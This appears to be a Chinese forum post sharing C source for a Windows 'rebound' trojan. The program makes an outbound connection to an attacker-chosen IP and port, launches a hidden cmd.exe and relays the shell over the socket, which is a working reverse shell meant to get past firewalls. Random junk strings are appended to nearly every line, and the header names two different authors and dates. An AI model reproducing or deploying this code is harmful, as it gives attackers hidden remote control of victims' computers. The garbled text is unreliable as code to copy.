这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G~z=,72
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/* ============================== Hz?C9q3BX
Rebound port in Windows NT \<cs:C\h7
By wind,2006/7 v[k;R
===============================*/ ZGILV
#include UH8q:jOi
#include S511}KPbm/
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#pragma comment(lib,"wsock32.lib") WJ%4IaT
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void OutputShell(); DC9\Sp?
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4b\R@Knu
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void main(int argc,char **argv) ]2:w?+T
{ UweXz.x7
WSADATA stWsaData; (d9G`
int nRet; 54X=58Q
SOCKADDR_IN stSaiClient,stSaiServer; *$%ch=
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if(argc != 3) F0.Rv):
{ OTgctw1s
printf("Useage:\n\rRebound DestIP DestPort\n"); UY(pKe>
return; $#z
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} 49('pq?D
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,, 8hU7P
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I_?+;<n
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stSaiClient.sin_family = AF_INET; h>w(Th\H
stSaiClient.sin_port = htons(0); )JNUfauyT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bcM65pt_C
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L1Hk[j]X|
{ xE$>;30b_
printf("Bind Socket Failed!\n"); L=7Y~aL=
return; 8fI]QW
} nj90`O.K
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stSaiServer.sin_family = AF_INET; 3^jkd)xw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [9<c;&$LU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J Wh5gOXd
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0A,u!"4[
{ VnjhEEM!
printf("Connect Error!"); `G@(Z:]f,t
return; QPD[uJ(I
} [Re.sX}$Y
OutputShell(); _nUvDdEs,
} =pT}]
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void OutputShell() buj*L&
{ K~chOX
char szBuff[1024]; 0Z.X;1=
SECURITY_ATTRIBUTES stSecurityAttributes; MH0xD
OSVERSIONINFO stOsversionInfo; a)o-6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B;vpG?s{9
STARTUPINFO stStartupInfo; 3rxB]-
char *szShell; Th'B5:`
PROCESS_INFORMATION stProcessInformation; 6E^h#Ozl
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unsigned long lBytesRead; BN_I#8r
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M~?2g.o'D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OMY^'g%w
stSecurityAttributes.lpSecurityDescriptor = 0; e{Y8m Xu
stSecurityAttributes.bInheritHandle = TRUE; >h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2Wx~+@1y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Qi;62M
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -d*zgP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lZ*V.-D^]
stStartupInfo.wShowWindow = SW_HIDE; S^c;i
stStartupInfo.hStdInput = hReadPipe; WV8vDv1jt
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n:8<Ijrh
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GetVersionEx(&stOsversionInfo); b(HbwOt~3
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switch(stOsversionInfo.dwPlatformId) Y00hc8<
{ "y7IH
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case 1: 4!U)a
szShell = "command.com"; lf9mdbm
break; C"*8bVx]$n
default: ?*/1J~<(@
szShell = "cmd.exe"; 9F"^MzZ
break; xTGdh
} PK&\pkX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1$S`>M%a
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send(sClient,szMsg,77,0); lD-HQd
while(1) s#p\ r
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n8.Tag(#
if(lBytesRead) K/l*Saj
{ TN=!;SvQU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S\S31pYT
send(sClient,szBuff,lBytesRead,0); 6k6}SlN[
} 0%
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else 9=}&evGm89
{ /=@V5)
lBytesRead=recv(sClient,szBuff,1024,0); |44 E:pA
if(lBytesRead<=0) break; C@P*:L_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _@D"XL#L
} [Te"|K ':
} \Gm\sy
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return; O$(#gB'B
}